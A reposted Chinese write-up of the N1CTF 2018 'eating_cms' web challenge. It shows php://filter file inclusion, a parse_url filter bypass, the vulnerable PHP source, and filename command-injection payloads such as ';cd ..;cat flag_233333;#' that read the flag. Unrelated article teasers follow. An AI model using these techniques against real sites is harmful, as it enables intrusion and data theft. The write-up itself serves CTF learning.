[N1CTF 2018]eating_cms

打开题目

只有个登录框,其他什么都没有,尝试了一下弱口令,没能成功

尝试访问一下register.php,看看能不能注册个账号

注册页面,随便注册个账号登陆一下

url中感觉是个注入点,尝试使用file伪协议读取一下user.php的源码

php://filter/convert.base64-encode/resource=user

解码得到源码

<?php

require_once("function.php");

if( !isset( $_SESSION['user'] )){

    Header("Location: index.php");

}

if($_SESSION['isadmin'] === '1'){

    $oper_you_can_do = $OPERATE_admin;

}else{

    $oper_you_can_do = $OPERATE;

}

//die($_SESSION['isadmin']);

if($_SESSION['isadmin'] === '1'){

    if(!isset($_GET['page']) || $_GET['page'] === ''){

        $page = 'info';

    }else {

        $page = $_GET['page'];

    }

}

else{

    if(!isset($_GET['page'])|| $_GET['page'] === ''){

        $page = 'guest';

    }else {

        $page = $_GET['page'];

        if($page === 'info')

        {

//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");

            Header("Location: user.php?page=guest");

        }

    }

}

filter_directory();

//if(!in_array($page,$oper_you_can_do)){

//    $page = 'info';

//}

include "$page.php";

?>

没有什么有用的信息,目录扫描还扫到一个function.php,读取一下源码

<?php

session_start();

require_once "config.php";

function Hacker()

{

    Header("Location: hacker.php");

    die();

}

function filter_directory()

{

    $keywords = ["flag","manage","ffffllllaaaaggg"];

    $uri = parse_url($_SERVER["REQUEST_URI"]);

    parse_str($uri['query'], $query);

//    var_dump($query);

//    die();

    foreach($keywords as $token)

    {

        foreach($query as $k => $v)

        {

            if (stristr($k, $token))

                hacker();

            if (stristr($v, $token))

                hacker();

        }

    }

}

function filter_directory_guest()

{

    $keywords = ["flag","manage","ffffllllaaaaggg","info"];

    $uri = parse_url($_SERVER["REQUEST_URI"]);

    parse_str($uri['query'], $query);

//    var_dump($query);

//    die();

    foreach($keywords as $token)

    {

        foreach($query as $k => $v)

        {

            if (stristr($k, $token))

                hacker();

            if (stristr($v, $token))

                hacker();

        }

    }

}

function Filter($string)

{

    global $mysqli;

    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";

    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";

    for ($i = 0; $i < strlen($string); $i++) {

        if (strpos("$whitelist", $string[$i]) === false) {

            Hacker();

        }

    }

    if (preg_match("/$blacklist/is", $string)) {

        Hacker();

    }

    if (is_string($string)) {

        return $mysqli->real_escape_string($string);

    } else {

        return "";

    }

}

function sql_query($sql_query)

{

    global $mysqli;

    $res = $mysqli->query($sql_query);

    return $res;

}

function login($user, $pass)

{

    $user = Filter($user);

    $pass = md5($pass);

    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";

    echo $sql;

    $res = sql_query($sql);

//    var_dump($res);

//    die();

    if ($res->num_rows) {

        $data = $res->fetch_array();

        $_SESSION['user'] = $data[username_which_you_do_not_know];

        $_SESSION['login'] = 1;

        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];

        return true;

    } else {

        return false;

    }

    return;

}

function updateadmin($level,$user)

{

    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";

    echo $sql;

    $res = sql_query($sql);

//    var_dump($res);

//    die();

//    die($res);

    if ($res == 1) {

        return true;

    } else {

        return false;

    }

    return;

}

function register($user, $pass)

{

    global $mysqli;

    $user = Filter($user);

    $pass = md5($pass);

    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";

    $res = sql_query($sql);

    return $mysqli->insert_id;

}

function logout()

{

    session_destroy();

    Header("Location: index.php");

}

?>

发现有一个ffffllllaaaaggg

访问一下

被拦截了

参考:parse_url函数的解释和绕过_parseurl-CSDN博客

在这段代码中parse_url函数,如果访问的路径不对,可以绕过这个函数的判断,返回想要的结果

所以我们需要把访问路径写错,在user.php前多加个/

<?php

if (FLAG_SIG != 1){

    die("you can not visit it directly");

}else {

    echo "you can find sth in m4aaannngggeee";

}

?>

解码得到源码,读取m4aaannngggeee

解码得到

<?php

if (FLAG_SIG != 1){

    die("you can not visit it directly");

}

include "templates/upload.html";

?>

访问templates/upload.html

有个能上传文件的地方,随便上传个文件

发现是假的,读取upllloadddd.php

解码得到源码

<?php

$allowtype = array("gif","png","jpg");

$size = 10000000;

$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){

    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){

        die("error:can not move");

    }

}else{

    die("error:not an upload file!");

}

$newfile = $path.$filename;

echo "file upload success<br />";

echo $filename;

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

echo "<img src='data:image/png;base64,".$picdata."'></img>";

if($_FILES['file']['error']>0){

    unlink($newfile);

    die("Upload file error: ");

}

$ext = array_pop(explode(".",$_FILES['file']['name']));

if(!in_array($ext,$allowtype)){

    unlink($newfile);

}

?>

没有任何过滤的文件格式,

这里使用了 system 函数来执行一个系统命令。具体来说,它首先通过 cat 命令读取位于 ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/ 目录下的指定文件(由 $filename 指定)的内容,可以利用文件名代码执行

现在需要找到正确的文件上传的上传点

兜兜转转访问了好久,发现上传点的地址在m4aaannngggeee,访问一下

随便上传一个文件,抓一下包,更改filename地方的参数为我们想执行的命令

使用;结束上一个命令,使用#注释后面的命令,使结果回显为想要查看的内容

使用ls查看一下paload:;ls;#

查看一下/目录

paload:;ls /;#

什么都没有,可能给 / 过滤了,换一种方法,查看上一级目录

paload:;ls ..;#

发现一个flag_233333,查看一下

paload:;cd ..;cat flag_233333;#

得到flag:flag{dbd1e8ae-a7e4-4875-9c57-1aeeb0b86c56}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/60924.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法之二分查找优化:leetcode34:在排序数组中查找元素的第一个和最后一个位置

题干 分析 问题背景 给定一个已排序的数组&#xff0c;目标是找到一个给定的目标值 target 在数组中的 第一个位置 和 最后一个位置。如果目标值不存在&#xff0c;返回 [-1, -1]。 由于题干要求的时间复杂度是 O(log n)&#xff0c;并且数组是有序的&#xff0c;考虑使用二分…

【3D Slicer】的小白入门使用指南九

定量医学影像临床研究与实践 任务 定量成像教程 定量成像是从医学影像中提取定量测量的过程。 本教程基于两个定量成像的例子构建: - 形态学:缓慢生长肿瘤中的小体积变化 - 功能:鳞状细胞癌中的代谢活动 第1部分:使用变化跟踪模块测量脑膜瘤的小体积变化第2部分:使用PET标…

为什么要使用Ansible实现Linux管理自动化?

自动化和Linux系统管理 多年来&#xff0c;大多数系统管理和基础架构管理都依赖于通过图形或命令行用户界面执行的手动任务。系统管理员通常使用清单、其他文档或记忆的例程来执行标准任务。 这种方法容易出错。系统管理员很容易跳过某个步骤或在某个步骤上犯错误。验证这些步…

C# 实现对指定句柄的窗口进行键盘输入的实现

在C#中实现对指定句柄的窗口进行键盘操作&#xff0c;可以通过多种方式来实现。以下是一篇详细的指南&#xff0c;介绍如何在C#中实现这一功能。 1. 使用Windows API函数 在C#中&#xff0c;我们可以通过P/Invoke调用Windows API来实现对指定窗口的键盘操作。以下是一些关键的…

JavaWeb--MySQL

1. MySQL概述 首先来了解一下什么是数据库。 数据库&#xff1a;英文为 DataBase&#xff0c;简称DB&#xff0c;它是存储和管理数据的仓库。 像我们日常访问的电商网站京东&#xff0c;企业内部的管理系统OA、ERP、CRM这类的系统&#xff0c;以及大家每天都会刷的头条、抖音…

Qt学习笔记(四)多线程

系列文章目录 Qt开发笔记&#xff08;一&#xff09;Qt的基础知识及环境编译&#xff08;泰山派&#xff09; Qt学习笔记&#xff08;二&#xff09;Qt 信号与槽 Qt学习笔记&#xff08;三&#xff09;网络编程 Qt学习笔记&#xff08;四&#xff09;多线程 文章目录 系列文章…

Elasticsearch 8.16:适用于生产的混合对话搜索和创新的向量数据量化,其性能优于乘积量化 (PQ)

作者&#xff1a;来自 Elastic Ranjana Devaji, Dana Juratoni Elasticsearch 8.16 引入了 BBQ&#xff08;Better Binary Quantization - 更好的二进制量化&#xff09;—— 一种压缩向量化数据的创新方法&#xff0c;其性能优于传统方法&#xff0c;例如乘积量化 (Product Qu…

Flume和kafka的整合

1、Kafka作为Source 【数据进入到kafka中&#xff0c;抽取出来】 在flume的conf文件夹下&#xff0c;有一个flumeconf 文件夹&#xff1a;这个文件夹是自己创建的 创建一个flume脚本文件&#xff1a; kafka-memory-logger.conf Flume 1.9用户手册中文版 — 可能是目前翻译最完…

现代密码学|古典密码学例题讲解|AES数学基础(GF(2^8)有限域上的运算问题)| AES加密算法

文章目录 古典密码凯撒密码和移位变换仿射变换例题多表代换例题 AES数学基础&#xff08;GF&#xff08;2^8&#xff09;有限域上的运算问题&#xff09;多项式表示法 | 加法 | 乘法X乘法模x的四次方1的乘法 AES加密算法初始变换字节代换行移位列混合轮密钥加子密钥&#xff08…

3. Spring Cloud Eureka 服务注册与发现(超详细说明及使用)

3. Spring Cloud Eureka 服务注册与发现(超详细说明及使用) 文章目录 3. Spring Cloud Eureka 服务注册与发现(超详细说明及使用)前言1. Spring Cloud Eureka 的概述1.1 服务治理概述1.2 服务注册与发现 2. 实践&#xff1a;创建单机 Eureka Server 注册中心2.1 需求说明 图解…

视频孪生技术在金融银行网点场景中的应用价值

作为国民经济重要的基础行业&#xff0c;金融行业在高速发展的同时衍生出业务纠纷、安全防范、职能管理等诸多问题&#xff0c;对安全防范和监督管理提出了更高的要求。因此&#xff0c;如何能更好的利用视频监控系统价值&#xff0c;让管理人员更简便的浏览监控视频、更快速的…

武汉EI学术会议一览表

武汉近期将举办BDDM2024大数据会议、ASIM2024智能制造会议、ICSGPS2025电网会议&#xff0c;吸引国内外学者参与&#xff0c;推动科技创新与产业发展&#xff0c;录用论文将提交EI索引。 武汉EI学术会议一览表 1.第二届大数据与数据挖掘国际会议&#xff08;BDDM 2024&#xf…

LeetCode Hot100 15.三数之和

题干&#xff1a; 思路&#xff1a; 首先想到的是哈希表&#xff0c;类似于两数之和的想法&#xff0c;共两层循环&#xff0c;将遍历到的第一个元素和第二个元素存入哈希表中&#xff0c;然后按条件找第三个元素&#xff0c;但是这道题有去重的要求&#xff0c;哈希表实现较为…

html + css 自适应首页布局案例

文章目录 前言一、组成二、代码1. css 样式2. body 内容3.全部整体 三、效果 前言 一个自适应的html布局 一、组成 整体居中&#xff0c;宽度1200px&#xff0c;小屏幕宽度100% 二、代码 1. css 样式 代码如下&#xff08;示例&#xff09;&#xff1a; <style>* {…

使用Axios函数库进行网络请求的使用指南

目录 前言1. 什么是Axios2. Axios的引入方式2.1 通过CDN直接引入2.2 在模块化项目中引入 3. 使用Axios发送请求3.1 GET请求3.2 POST请求 4. Axios请求方式别名5. 使用Axios创建实例5.1 创建Axios实例5.2 使用实例发送请求 6. 使用async/await简化异步请求6.1 获取所有文章数据6…

MySQL —— MySQL索引介绍、索引数据结构、聚集索引和辅助索引、索引覆盖

文章目录 索引概念索引分类索引数据结构种类Innodb 索引数据结构聚集索引和辅助索引&#xff08;非聚集索引&#xff09;聚集索引辅助索引&#xff08;非聚集索引&#xff09; 索引覆盖 索引概念 索引是对数据库表中一列或多列的值进行排序后的一种数据结构。用于帮助 mysql 提…

python实现十进制转换二进制,tkinter界面

目录 需求 效果 代码实现 代码解释 需求 python实现十进制转换二进制 效果 代码实现 import tkinter as tk from tkinter import messageboxdef convert_to_binary():try:# 获取输入框中的十进制数decimal_number int(entry.get())# 转换为二进制binary_number bin(de…

机器学习—正则化和偏差或方差

正则化参数的选择对偏差和方差的影响 用一个四阶多项式&#xff0c;要用正则化拟合这个模型&#xff0c;这里的lambda的值是正则化参数&#xff0c;它控制着你交易的金额&#xff0c;保持参数w与训练数据拟合&#xff0c;从将lambda设置为非常大的值的示例开始&#xff0c;例如…

在Node.js中如何使用TypeScript

第一步&#xff1a;创建一个Node.js项目的package.json文件 npm init -y第二步&#xff1a;添加TypeScript、添加node.d.ts npm install typescript -D npm install types/node -D第三步&#xff1a;初始化一个tsconfig.json文件 npx tsc --init --rootDir src --outDir lib…

零基础Java第十九期:认识String(一)

目录 一、String的重要性 二、String的常用方法 2.1. 字符串构造 2.2. String对象的比较 2.3. 字符串查找 2.4. 转化 2.4. 字符串替换 2.5. 字符串拆分 2.6. 字符串截取 一、String的重要性 在C语言中已经涉及到字符串了&#xff0c;但是在C语言中要表示字符串只能…